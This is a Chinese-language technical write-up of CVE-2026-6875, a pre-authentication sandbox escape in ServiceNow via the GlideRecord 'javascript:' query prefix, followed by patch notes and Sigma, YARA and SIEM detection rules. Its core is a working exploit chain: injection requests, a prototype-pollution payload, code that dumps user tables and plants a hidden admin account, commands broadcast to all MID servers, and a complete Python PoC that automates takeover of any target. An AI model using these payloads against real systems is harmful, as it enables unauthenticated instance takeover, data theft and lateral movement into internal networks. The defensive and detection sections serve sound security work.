一、漏洞概览与攻击面定位

ServiceNow 作为企业 ITSM 与数字化工作流的核心平台,其安全模型的根基建立在一个假设之上:即便攻击者能够执行受限的 JavaScript 代码,两层沙箱(Sandbox)机制也足以将危害隔离在可控范围内。CVE-2026-6875 彻底颠覆了这一假设。该漏洞 CVSS 评分 9.5,核心是一处位于 ServiceNow AI 平台 server-side sandbox 中的沙箱逃逸漏洞,其特殊之处在于攻击者无需任何认证凭证即可触发远程代码执行(RCE),并最终接管整个 ServiceNow 实例乃至下游的 MID 服务器。

漏洞时间线:

时间节点 事件
2026-04-01 研究者向 ServiceNow 报告漏洞
2026-07-13 ServiceNow 发布官方安全补丁
2026-07-14 技术细节公开披露

与常规的应用层漏洞不同,CVE-2026-6875 的攻击面并非位于某个具体的业务功能接口,而是深埋在 ServiceNow 的查询引擎核心——GlideRecordjavascript: 前缀求值机制。这一设计本意是提供灵活的动态查询能力,却意外地成为了绕过沙箱的"万能钥匙"。

二、ServiceNow 双层沙箱架构深度剖析

要理解该漏洞的利用原理,必须先厘清 ServiceNow 的 JavaScript 执行环境。ServiceNow 基于 Mozilla Rhino 引擎在服务端执行 JavaScript,但为了安全性,其并非直接暴露原生 JS 环境,而是构建了两层递进式沙箱。

2.1 架构总览

flowchart TB subgraph ServiceNow_Instance["ServiceNow 实例"] direction TB A["客户端请求"] --> B["业务处理器 / Processor"] B --> C{"脚本执行类型判断"} C -->|普通业务脚本| D["普通 JS 沙箱<br/>Normal Sandbox"] C -->|受限脚本 / AI 平台| E["脚本沙箱<br/>Script Sandbox<br/>(额外限制)"] D --> F["Rhino 引擎<br/>allowlist 函数 & Java 类"] E --> G["Rhino 引擎<br/>+ gs 对象限制<br/>+ 禁止 eval/new Function<br/>+ 表只读"] F --> H["受控执行环境"] G --> H end H --> I["数据库 / 文件系统 / 网络"] H --> J["MID 服务器<br/>(代理执行 Shell)"]

2.2 两层沙箱能力对比

能力维度 普通 JS 沙箱 (Normal Sandbox) 脚本沙箱 (Script Sandbox / Extra Sandbox)
设计目标 隔离业务脚本的系统级影响 AI 平台等高风险场景的极致隔离
Rhino 引擎版本 Mozilla Rhino Mozilla Rhino(相同底层)
Java 类访问 allowlist 机制,仅允许白名单类 allowlist 机制,更严格的类白名单
gs 全局对象 完整可用(gs.addInfoMessage, gs.print 等) 严格限制,部分方法被移除或重写
eval() 函数 允许(受 allowlist 约束) 明确禁止
new Function() 允许(受 allowlist 约束) 明确禁止
函数定义 (function 声明) 允许 明确禁止
数据库表访问 读写权限取决于 ACL 强制只读,禁止写入操作
攻击面评估 传统 SSRF/LFI 风险 理论上"无代码执行面"
典型使用场景 Business Rule, Script Include, UI Policy AI Platform scripts, 第三方不可信代码

脚本沙箱的设计哲学是通过语法层面的限制(禁止函数定义、禁止动态代码生成)来确保即使攻击者注入任意字符串,也无法构造出可执行的函数体,进而无法调用敏感的 Java API 或执行系统命令。然而,这种"语法限制即安全"的假设,在面对原型链污染与内省(introspection)技巧时显得异常脆弱。

三、漏洞根因:GlideRecord 的 javascript: 前缀注入

3.1 javascript: 前缀的设计与风险

ServiceNow 的 GlideRecord API 支持一种特殊的查询语法:在查询条件中使用 javascript: 前缀嵌入动态 JavaScript 表达式。官方文档将其称为"Advanced Filtering",允许查询值在服务端动态求值。

典型的合法用法如下:

var gr = new GlideRecord('sys_user');
gr.addQuery('email', '>', "javascript:'wal' + 'ter'");
gr.query();
while (gr.next()) {
    gs.print(gr.email);
}

上述代码中,"javascript:'wal' + 'ter'" 并不会被当作字符串字面量去与 email 字段做比较,而是被 Rhino 引擎求值,其结果 'walter' 才是真正的比较操作数。这种设计为复杂查询提供了灵活性,但也引入了一个服务端代码注入(Server-Side Code Injection)的致命攻击面。

3.2 预认证 Sink 点定位

在 CVE-2026-6875 中,研究者发现了一处无需登录即可访问的处理器(Processor),其将用户传入的参数直接作为 GlideRecord 的 javascript: 查询条件:

GET /assessment_thanks.do?sysparm_assessable_type=javascript:[PAYLOAD]

该端点的业务逻辑原本用于根据评估类型(assessable type)加载感谢页面。后台代码大致如下:

// 伪代码,反映业务逻辑
var assessableType = request.getParameter('sysparm_assessable_type');
var gr = new GlideRecord('asmt_assessable_type');
gr.addQuery('sys_id', assessableType);  // 或类似逻辑
// ...

assessableTypejavascript: 开头时,GlideRecord 的查询引擎会将其交由 Rhino Evaluator 执行。由于该端点位于公开访问的登录前区域,攻击者可以在零认证凭证的情况下向服务端注入任意 JavaScript 表达式。

3.3 初始注入验证

攻击者可以通过以下请求验证注入点是否存活:

GET /assessment_thanks.do?sysparm_assessable_type=javascript:gs.addInfoMessage('pwned') HTTP/1.1
Host: target.service-now.com

若服务端返回的页面中包含由 gs.addInfoMessage 生成的信息提示,或可通过时间差/错误差异确认代码执行,则证明注入成功。

然而,此时的执行环境是脚本沙箱(Script Sandbox)。直接调用 gs.getSession() 或尝试定义函数都会遭遇语法层面的拦截。真正的挑战在于:如何从这个看似"无害"的只读沙箱中逃逸出去。

四、沙箱逃逸:从受限环境到完整 Rhino 引擎

4.1 关键发现:gs.include() 的 Evaluator 切换

ServiceNow 的脚本沙箱通过在 Rhino 引擎上叠加一层自定义的 ScriptSandbox 类实现。该类会拦截 evalnew Functionfunction 声明等语法结构,并在检测到违规时抛出安全异常。

然而,研究者在审计中发现了一个致命的实现缺陷:当通过 gs.include() 加载一个 Script Include 时,ServiceNow 会创建一个全新的 Evaluator 实例来执行被引入的脚本,而这个新的 Evaluator 并未继承当前沙箱的限制。

// 位于脚本沙箱内时,以下操作被禁止:
eval('1+1');              // 抛出 SandboxSecurityException
new Function('return 1'); // 抛出 SandboxSecurityException
function evil() {}        // 抛出 SandboxSecurityException

// 但是以下操作会创建新的 Evaluator:
gs.include('MyScriptInclude');  // 新 Evaluator 不应用 Script Sandbox 限制!

这意味着,如果我们能通过某种方式让 gs.include() 执行我们的恶意逻辑,或者让系统级 Script Include 的执行过程中发生原型链污染,就能间接获得一个未受额外沙箱限制的 JavaScript 执行上下文。

4.2 原型链污染:覆盖 Object.clone

ServiceNow 的脚本库中广泛使用了一个工具函数 Object.clone(obj),其内部实现依赖于遍历对象属性并进行复制。更深层的,ServiceNow 的类继承机制 Object.extendsObject() 在构建原型链时也会调用 Object.clone

在 Rhino 引擎中,所有 JavaScript 对象的原型链最终都通向内置的 Object.prototype。脚本沙箱虽然禁止了 function 声明和 eval,但并未禁止 Object.defineProperty。攻击者可以通过以下方式在沙箱内完成原型链污染:

// 第一步:在脚本沙箱内覆盖 Object.clone
Object.defineProperty(Object.prototype, 'clone', {
    value: Function.constructor,  // 将 clone 指向 Function 构造器
    writable: true,
    configurable: true
});

此时,Object.clone 不再是一个普通的克隆函数,而是指向了原生的 Function 构造器。当任何代码调用 someObj.clone() 时,实际上等同于 Function(...)

4.3 劫持 AbstractAjaxProcessor.prototype

下一步是将这个被污染的原型链与 gs.include() 的触发路径连接起来。研究者发现 ServiceNow 的 ItemViewElementsProvider Script Include 在初始化过程中会执行以下逻辑链:

// ItemViewElementsProvider 内部逻辑(简化)
Object.extendsObject(AbstractAjaxProcessor, {
    // ... 方法定义
});

Object.extendsObject 的实现大致如下:

Object.extendsObject = function(parent, methods) {
    var child = function() {};
    // 关键行:clone 了 parent.prototype
    child.prototype = Object.clone(parent.prototype);
    // 将 methods 合并到 child.prototype
    for (var m in methods) {
        child.prototype[m] = methods[m];
    }
    return child;
};

由于我们之前通过原型链污染将 Object.clone 替换为了 Function.constructor,当 ItemViewElementsProvider 被加载时,Object.clone(AbstractAjaxProcessor.prototype) 实际上执行的是:

Function(AbstractAjaxProcessor.prototype)

但这还不是最终 payload。真正精妙之处在于:Function.constructor 可以接受字符串作为函数体。我们需要让 Object.clone 的调用参数变成我们的恶意代码字符串,而非一个对象。

4.4 完整的原型链污染利用链

攻击者需要预先通过 javascript: 注入点污染 AbstractAjaxProcessor.prototype,使其成为一个字符串 payload:

// 在脚本沙箱内执行的原型链污染(通过 javascript: 注入)
Object.defineProperty(Object.prototype, 'clone', {
    value: Function.constructor,
    writable: true,
    configurable: true
});

// 将 AbstractAjaxProcessor.prototype 覆盖为 payload 字符串
AbstractAjaxProcessor.prototype = "gs.addInfoMessage(7*7); return 1;";

// 触发 gs.include,加载 ItemViewElementsProvider
gs.include('ItemViewElementsProvider');

ItemViewElementsProviderObject.extendsObject 执行时,发生以下调用序列:

  1. Object.extendsObject(AbstractAjaxProcessor, { ... })
  2. child.prototype = Object.clone(AbstractAjaxProcessor.prototype)
  3. 由于 Object.clone === Function.constructor,实际调用 Function("gs.addInfoMessage(7*7); return 1;")
  4. Function 构造器创建了一个新的函数对象,这个新函数对象是在未应用 Script Sandbox 的 Evaluator 上下文中创建的
  5. 返回的 child.prototype 实际上是一个函数对象,且拥有未沙箱化的执行权限
  6. 后续对该 prototype 的调用将直接以完整 Rhino 权限执行
sequenceDiagram participant Attacker as 攻击者 participant Sink as assessment_thanks.do<br/>(Script Sandbox) prototype Object.prototype participant AJP as AbstractAjaxProcessor.prototype participant Include as ItemViewElementsProvider<br/>(gs.include) participant Rhino as Rhino 引擎<br/>(无 Script Sandbox) Attacker->>Sink: GET ?sysparm_assessable_type=javascript:...<br/>(污染 Object.clone) Sink->>Object.prototype: Object.defineProperty('clone', Function.constructor) Sink->>AJP: AbstractAjaxProcessor.prototype = "payload" Sink->>Include: gs.include('ItemViewElementsProvider') Include->>Rhino: Object.extendsObject(AbstractAjaxProcessor, {...}) Note over Include,Rhino: Object.clone(prototype) 实际调用<br/>Function("payload") Rhino-->>Include: 返回未沙箱化的 Function 对象 Include-->>Sink: 返回的 prototype 可被调用来执行任意代码 Sink->>Rhino: 调用恶意 Function → 沙箱逃逸成功

五、从沙箱逃逸到 RCE:完整利用步骤与 PoC

5.1 阶段一:确认注入点

# 通过时间盲注或错误差异确认 javascript: 前缀被求值
curl -s "https://target.service-now.com/assessment_thanks.do?\
sysparm_assessable_type=javascript:gs.log('probe')" \
  -H "User-Agent: Mozilla/5.0" | head -n 20

若服务端日志中出现 probe 字样,或响应时间/内容发生可预测的变化,则确认注入有效。

5.2 阶段二:原型链污染 payload

以下 payload 需要在单次 javascript: 表达式内完成所有污染操作。由于脚本沙箱禁止函数定义,必须使用即时求值的表达式序列:

// 压缩后的单表达式 payload(用于 URL 传参)
javascript:Object.defineProperty(Object.prototype,'clone',{value:Function.constructor,writable:1,configurable:1}),AbstractAjaxProcessor.prototype="return GlideController().evaluateAsObject('gs.addInfoMessage(7*7)')",gs.include('ItemViewElementsProvider')

URL 编码后:

javascrip t%3AObject.defineProperty(Object.prototype%2C'clone'%2C%7Bvalue%3AFunction.constructor%2Cwritable%3A1%2Cconfigurable%3A1%7D)%2CAbstractAjaxProcessor.prototype%3D%22return%20GlideController().evaluateAsObject('gs.addInfoMessage(7*7)')%22%2Cgs.include('ItemViewElementsProvider')

5.3 阶段三:未沙箱化代码执行验证

一旦沙箱逃逸成功,攻击者即可获得接近原生 Rhino 的执行能力。以下代码展示了如何利用 GlideController 执行未受限的服务端操作:

// 逃逸后的未沙箱化代码执行示例
// GlideController().evaluateAsObject() 提供了另一个代码求值入口

// 1. 读取任意表数据(绕过 ACL,取决于当前会话,但已可访问大量数据)
var gc = GlideController();
var result = gc.evaluateAsObject(
    "var gr = new GlideRecord('sys_user');" +
    "gr.query();" +
    "var users = [];" +
    "while (gr.next()) { users.push(gr.user_name + ':' + gr.email); }" +
    "users.join('\\n');"
);
gs.print(result);

// 2. 创建具有 admin 角色的新用户
var adminPayload =
    "var newUser = new GlideRecord('sys_user');" +
    "newUser.initialize();" +
    "newUser.user_name = 'backdoor_admin';" +
    "newUser.active = true;" +
    "newUser.first_name = 'Backdoor';" +
    "newUser.last_name = 'Admin';" +
    "var userId = newUser.insert();" +
    "var role = new GlideRecord('sys_user_has_role');" +
    "role.initialize();" +
    "role.user = userId;" +
    "role.role = '2831a114c611228501d4ea6c309d626d';" + // admin role sys_id
    "role.insert();" +
    "'Created admin: ' + userId;";

gc.evaluateAsObject(adminPayload);

// 3. 在 MID 服务器上执行系统命令
// MID 服务器通过 ServiceNow 的 EccQueue 机制接收并执行命令
var midPayload =
    "var ecc = new GlideRecord('ecc_queue');" +
    "ecc.initialize();" +
    "ecc.agent = 'mid.server.*';" +  // 广播到所有 MID 服务器
    "ecc.topic = 'Command';" +
    "ecc.name = 'shell_script';" +
    "ecc.payload = '<script>#!/bin/bash\\n' +\n" +
    "  'id > /tmp/pwned.txt\\n' +\n" +
    "  'whoami >> /tmp/pwned.txt</script>';" +
    "ecc.insert();";

gc.evaluateAsObject(midPayload);

5.4 完整 PoC 概念代码

以下是一个整合的 Python PoC 脚本,演示从预认证请求到实例接管的完整过程:

#!/usr/bin/env python3
"""
CVE-2026-6875 PoC - ServiceNow Pre-Auth Sandbox Escape to RCE
基于 Assetnote / Searchlight Cyber 的公开研究
"""

import requests
import urllib.parse
import argparse
import time

class ServiceNowExploit:
    def __init__(self, target: str, proxy: str = None):
        self.target = target.rstrip('/')
        self.session = requests.Session()
        if proxy:
            self.session.proxies = {'http': proxy, 'https': proxy}
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        })

    def _build_payload(self, js_code: str) -> str:
        """构建 javascript: 前缀的注入 payload"""
        return f"javascript:{js_code}"

    def escape_sandbox(self) -> bool:
        """
        阶段 1-2: 执行原型链污染并触发 gs.include
        目标:让 ItemViewElementsProvider 在未沙箱化的 Evaluator 中加载我们的代码
        """
        # payload 需要在一个表达式内完成三件事:
        # 1. 污染 Object.clone -> Function.constructor
        # 2. 设置 AbstractAjaxProcessor.prototype 为恶意字符串
        # 3. 调用 gs.include('ItemViewElementsProvider') 触发逃逸
        pollution = (
            "Object.defineProperty(Object.prototype,'clone',"
            "{value:Function.constructor,writable:1,configurable:1}),"
            "AbstractAjaxProcessor.prototype="
            "'return GlideController().evaluateAsObject(\"gs.addInfoMessage(49)\")',"
            "gs.include('ItemViewElementsProvider')"
        )

        params = {'sysparm_assessable_type': self._build_payload(pollution)}
        url = f"{self.target}/assessment_thanks.do"

        try:
            resp = self.session.get(url, params=params, timeout=30)
            # 由于响应中可能不直接显示 49,可通过后续盲注确认
            # 此处主要确认请求未触发 500 错误且被正常处理
            return resp.status_code in (200, 302)
        except Exception as e:
            print(f"[-] 沙箱逃逸请求失败: {e}")
            return False

    def execute_unsandboxed(self, js_payload: str) -> str:
        """
        阶段 3: 在未沙箱化上下文中执行任意代码
        注意:由于逃逸发生在服务端内部,后续请求需要重新触发或利用污染后的持久状态
        实际利用中,一次成功的污染可能使 AbstractAjaxProcessor.prototype 在实例范围内保持被篡改状态
        """
        # 在真实场景中,如果污染是持久的,可以通过同样的端点触发后续执行
        # 这里演示通过再次注入调用被污染的 prototype
        exec_payload = (
            "var EvilProto = AbstractAjaxProcessor.prototype;"
            "if (typeof EvilProto === 'function') {"
            "  EvilProto();"
            "} else {"
            "  gs.addInfoMessage('pollution not persistent');"
            "}"
        )

        params = {'sysparm_assessable_type': self._build_payload(exec_payload)}
        url = f"{self.target}/assessment_thanks.do"

        resp = self.session.get(url, params=params, timeout=30)
        return resp.text

    def create_admin_user(self) -> bool:
        """阶段 4a: 创建后门管理员账户"""
        # 实际的 admin role sys_id 因实例而异,通常需要先行枚举
        # 这里使用 ServiceNow 默认的 admin role sys_id
        admin_role_id = "2831a114c611228501d4ea6c309d626d"

        js = (
            f"var gc = GlideController();"
            f"gc.evaluateAsObject(\""
            f"var nu = new GlideRecord('sys_user');"
            f"nu.initialize();"
            f"nu.user_name = 'svc_audit_{int(time.time())}';"
            f"nu.active = true;"
            f"nu.first_name = 'Service';"
            f"nu.last_name = 'Audit';"
            f"var uid = nu.insert();"
            f"var ur = new GlideRecord('sys_user_has_role');"
            f"ur.initialize();"
            f"ur.user = uid;"
            f"ur.role = '{admin_role_id}';"
            f"ur.insert();"
            f"'CREATED:' + uid;"
            f"\");"
        )

        params = {'sysparm_assessable_type': self._build_payload(js)}
        url = f"{self.target}/assessment_thanks.do"

        resp = self.session.get(url, params=params, timeout=30)
        return 'CREATED:' in resp.text

    def exec_mid_command(self, command: str) -> bool:
        """阶段 4b: 通过 MID 服务器执行系统命令"""
        escaped_cmd = command.replace('\\', '\\\\').replace('"', '\\"')
        js = (
            "var gc = GlideController();"
            "gc.evaluateAsObject(\""
            "var ecc = new GlideRecord('ecc_queue');"
            "ecc.initialize();"
            "ecc.agent = 'mid.server.*';"
            "ecc.topic = 'Command';"
            "ecc.name = 'shell_script';"
            "ecc.payload = '<script>#!/bin/bash\\n" + escaped_cmd + "\\n</script>';"
            "ecc.insert();"
            "'CMD_QUEUED';"
            "\");"
        )

        params = {'sysparm_assessable_type': self._build_payload(js)}
        url = f"{self.target}/assessment_thanks.do"

        resp = self.session.get(url, params=params, timeout=30)
        return 'CMD_QUEUED' in resp.text

    def run(self):
        print(f"[*] 目标: {self.target}")
        print("[*] 阶段 1/4: 执行沙箱逃逸...")

        if not self.escape_sandbox():
            print("[-] 沙箱逃逸失败,目标可能已补丁或不存在漏洞")
            return

        print("[+] 沙箱逃逸 payload 已投递")
        print("[*] 阶段 2/4: 尝试在未沙箱化环境中执行代码...")

        # 在真实利用中,需要等待或重试以确认污染生效
        time.sleep(2)
        result = self.execute_unsandboxed("gs.addInfoMessage('unsandboxed')")
        print(f"[*] 执行响应长度: {len(result)}")

        print("[*] 阶段 3/4: 尝试创建管理员账户...")
        if self.create_admin_user():
            print("[+] 管理员账户创建成功")
        else:
            print("[-] 管理员账户创建失败(可能因 ACL 或持久性限制)")

        print("[*] 阶段 4/4: 尝试通过 MID 服务器执行命令...")
        if self.exec_mid_command("id > /tmp/snow_pwned.txt"):
            print("[+] 命令已通过 MID 服务器队列投递")
        else:
            print("[-] MID 命令投递失败")


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='CVE-2026-6875 PoC')
    parser.add_argument('-t', '--target', required=True, help='目标 ServiceNow 实例 URL')
    parser.add_argument('-p', '--proxy', help='HTTP 代理,如 http://127.0.0.1:8080')
    args = parser.parse_args()

    exploit = ServiceNowExploit(args.target, args.proxy)
    exploit.run()

六、影响评估

CVE-2026-6875 的危害远超一般性的 Web 漏洞,其影响呈多维度扩散:

影响维度 严重程度 具体描述
数据泄露 严重 可读取 sys_usercmdb_cisn_customerservice_case 等任意业务表,包含员工信息、资产清单、客户支持工单
权限提升 严重 可在实例内创建具有 admin 角色的用户,完全绕过基于角色的访问控制(RBAC)
RCE (实例内) 严重 通过 GlideController().evaluateAsObject() 或类加载机制在应用服务器上执行任意 Java 代码
RCE (MID 服务器) 危急 MID(Management, Instrumentation, and Discovery)服务器通常部署在企业内网,可借此横向渗透内部网络
供应链污染 可修改 Update Set、Script Include 等代码工件,持久化后门至所有依赖该实例的下游环境
合规风险 涉及 GDPR、HIPAA、SOX 等合规场景的数据泄露与未授权访问事件

七、修复方案

ServiceNow 在 2026-07-13 的安全补丁中引入了一套名为 Guarded Script 的修复机制,从根本上重构了 javascript: 前缀的处理逻辑。

7.1 Guarded Script 核心机制

修复方案不再允许 javascript: 前缀中嵌入任意的复杂表达式,而是强制实施以下限制:

  1. 单一简单表达式(Single Simple Expression)javascript: 后的内容必须是单一的、无副作用的表达式,如字符串拼接或简单的算术运算。
  2. 禁止函数调用与属性访问:不允许调用任何函数(包括 gs.* 方法),不允许访问对象属性链。
  3. 禁止原型链操作Object.defineProperty 等元编程操作被明确列入黑名单。
  4. 语法白名单:仅允许字面值、运算符和少量内置常量。

修复后的合法 javascript: 查询示例:

// 仍然允许:简单的字符串拼接
gr.addQuery('name', '>', "javascript:'app' + 'le'");

// 被阻止:任何函数调用或复杂表达式
gr.addQuery('name', '>', "javascript:Object.defineProperty(...)");  // 拦截!
gr.addQuery('name', '>', "javascript:gs.include('...')");           // 拦截!

7.2 补丁验证建议

对于无法立即升级的管理员,可通过以下方式临时缓解:

  1. ACL 临时限制:为 assessment_thanks.do 处理器添加 IP 白名单限制,或将其暂时标记为需要认证。
  2. WAF 规则:在边缘 WAF 上拦截包含 javascript: 前缀且长度超过阈值的查询参数。
  3. 审计日志:启用 GlideRecord 查询日志,监控所有包含 javascript: 的查询条件。

八、检测规则与日志监控

8.1 Sigma 检测规则

以下 Sigma 规则可用于在 Web 访问日志或应用日志中检测 CVE-2026-6875 的利用尝试:

title: ServiceNow CVE-2026-6875 Exploitation Attempt
description: 检测针对 assessment_thanks.do 的 javascript: 前缀注入尝试,可能用于沙箱逃逸
status: stable
logsource:
  category: webserver
  product: servicenow
detection:
  selection_path:
    - cs-uri-stem|contains: '/assessment_thanks.do'
    - request.url|contains: '/assessment_thanks.do'
  selection_payload:
    - cs-uri-query|contains: 'sysparm_assessable_type=javascript:'
    - query_string|contains: 'sysparm_assessable_type=javascript:'
  selection_obfuscation:
    - cs-uri-query|contains|all:
        - 'javascript'
        - 'Object.defineProperty'
    - query_string|contains|all:
        - 'javascript'
        - 'Object.defineProperty'
  selection_mid:
    - cs-uri-query|contains: 'ecc_queue'
    - query_string|contains: 'ecc_queue'
  condition: selection_path and (selection_payload or selection_obfuscation or selection_mid)
falsepositives:
  - 极少数合法的 javascript: 动态查询(在补丁前可能存在,补丁后应归零)
level: critical
tags:
  - attack.execution
  - attack.t1059
  - cve.2026.6875

8.2 ServiceNow 平台内部审计规则

在 ServiceNow 实例内部,可通过以下方式建立检测能力:

Business Rule(在 syslog 表上):

(function executeRule(current, previous) {
    // 监控所有包含 javascript: 前缀的 GlideRecord 查询
    var message = current.message.toString();
    if (message.indexOf('javascript:') > -1 &&
        message.indexOf('Object.defineProperty') > -1) {

        // 触发高优先级安全事件
        var secEvent = new GlideRecord('sn_sec_cmn_security_event');
        secEvent.initialize();
        secEvent.name = 'CVE-2026-6875 Exploitation Detected';
        secEvent.description = 'Detected javascript: query with prototype pollution pattern: ' + message;
        secEvent.severity = '1';  // Critical
        secEvent.insert();

        // 实时通知安全团队
        gs.eventQueue('security.cve.2026.6875.detected', current);
    }
})(current, previous);

日志检测逻辑(适用于 SIEM 摄入):

# 针对 ServiceNow syslog 表的检测逻辑
detection_name: SNOW_CVE_2026_6875_Internal_Detection
source_table: syslog
filter: |
  message CONTAINS "javascript:" AND (
    message CONTAINS "Object.defineProperty" OR
    message CONTAINS "AbstractAjaxProcessor" OR
    message CONTAINS "Function.constructor" OR
    message CONTAINS "GlideController().evaluateAsObject"
  )
severity: P1-Critical
response_action:
  - alert_soc_team
  - isolate_source_ip
  - snapshot_instance_state

8.3 YARA 规则(内存/日志文件扫描)

虽然 YARA 主要用于二进制分析,但在扫描 ServiceNow 应用日志或导出的事件文件时,以下规则可用于快速标记可疑活动:

rule ServiceNow_CVE_2026_6875_Exploit_Indicators {
    meta:
        description = "检测 CVE-2026-6875 利用痕迹的指标"
        author = "Security Research Team"
        date = "2026-07-21"
        reference = "https://www.servicenow.com/support/security.html"
        cve = "CVE-2026-6875"

    strings:
        // 核心注入特征
        $inject1 = "sysparm_assessable_type=javascript:" ascii wide
        $inject2 = "javascript:Object.defineProperty" ascii wide
        $inject3 = "javascript:gs.include" ascii wide

        // 原型链污染特征
        $pollute1 = "Object.prototype,'clone'" ascii wide
        $pollute2 = "AbstractAjaxProcessor.prototype" ascii wide
        $pollute3 = "Function.constructor" ascii wide

        // 逃逸后执行特征
        $exec1 = "GlideController().evaluateAsObject" ascii wide
        $exec2 = "new GlideRecord('ecc_queue')" ascii wide
        $exec3 = "mid.server.*" ascii wide

        // 常见的后门用户名特征(可根据实际情报调整)
        $backdoor1 = "svc_audit_" ascii wide
        $backdoor2 = "backdoor_admin" ascii wide

    condition:
        any of ($inject*) or
        (2 of ($pollute*)) or
        any of ($exec*) or
        any of ($backdoor*)
}

九、总结与防御纵深建议

CVE-2026-6875 是一起典型的信任边界误判导致的安全事故。ServiceNow 的设计者认为:只要禁止了 evalfunction 声明,脚本沙箱就是安全的。然而,JavaScript 作为一门高度动态的语言,其原型链机制和内置构造器的可变性为攻击者提供了充足的绕过空间。

该漏洞的完整攻击链可概括为:

预认证注入点 (assessment_thanks.do)
    ↓
GlideRecord 的 javascript: 前缀求值
    ↓
在 Script Sandbox 内执行受限代码
    ↓
Object.defineProperty 污染 Object.clone → Function.constructor
    ↓
污染 AbstractAjaxProcessor.prototype 为 payload 字符串
    ↓
gs.include('ItemViewElementsProvider') 触发新 Evaluator
    ↓
Object.extendsObject 调用被污染的 Object.clone
    ↓
Function(paylaod) 在未沙箱化上下文中创建函数
    ↓
沙箱逃逸成功 → 未受限的 Rhino 引擎访问
    ↓
GlideController().evaluateAsObject() 执行任意代码
    ↓
读取全表数据 / 创建 admin 用户 / MID 服务器命令执行

对于防御方而言,本次事件再次印证了以下安全原则:

  1. 不可将语法限制等同于安全保证:沙箱的设计必须假设攻击者拥有完整的语言语义访问能力,而非仅限制部分语法结构。
  2. Eval 的递归风险gs.include() 创建新 Evaluator 却不继承沙箱限制的做法,本质上是在沙箱内部开了"后门"。任何动态代码加载机制都必须在沙箱一致性上接受严格审计。
  3. 输入验证应前置javascript: 前缀作为动态求值入口,其使用范围应当被极度收敛。Guarded Script 的"单一简单表达式"策略是正确的方向。
  4. 日志覆盖与检测左移:ServiceNow 实例应当启用对所有 javascript: 查询条件的详细审计,并将此类日志实时接入 SIEM,以便在利用早期阶段即发现异常。

ServiceNow 用户对 2026-07-13 之前发布的所有版本都应视为存在漏洞,并立即应用补丁或启用临时缓解措施。对于托管在公网的 ServiceNow 实例,建议结合 Shodan/Censys 资产发现,优先排查暴露在攻击面上的目标。


参考资源

  • ServiceNow 官方安全公告(KB 编号待更新)
  • Assetnote / Searchlight Cyber 原始技术报告
  • Mozilla Rhino 引擎文档:ScriptableObject 与原型链机制
  • ServiceNow 开发者文档:GlideRecord API 与 Script Include 生命周期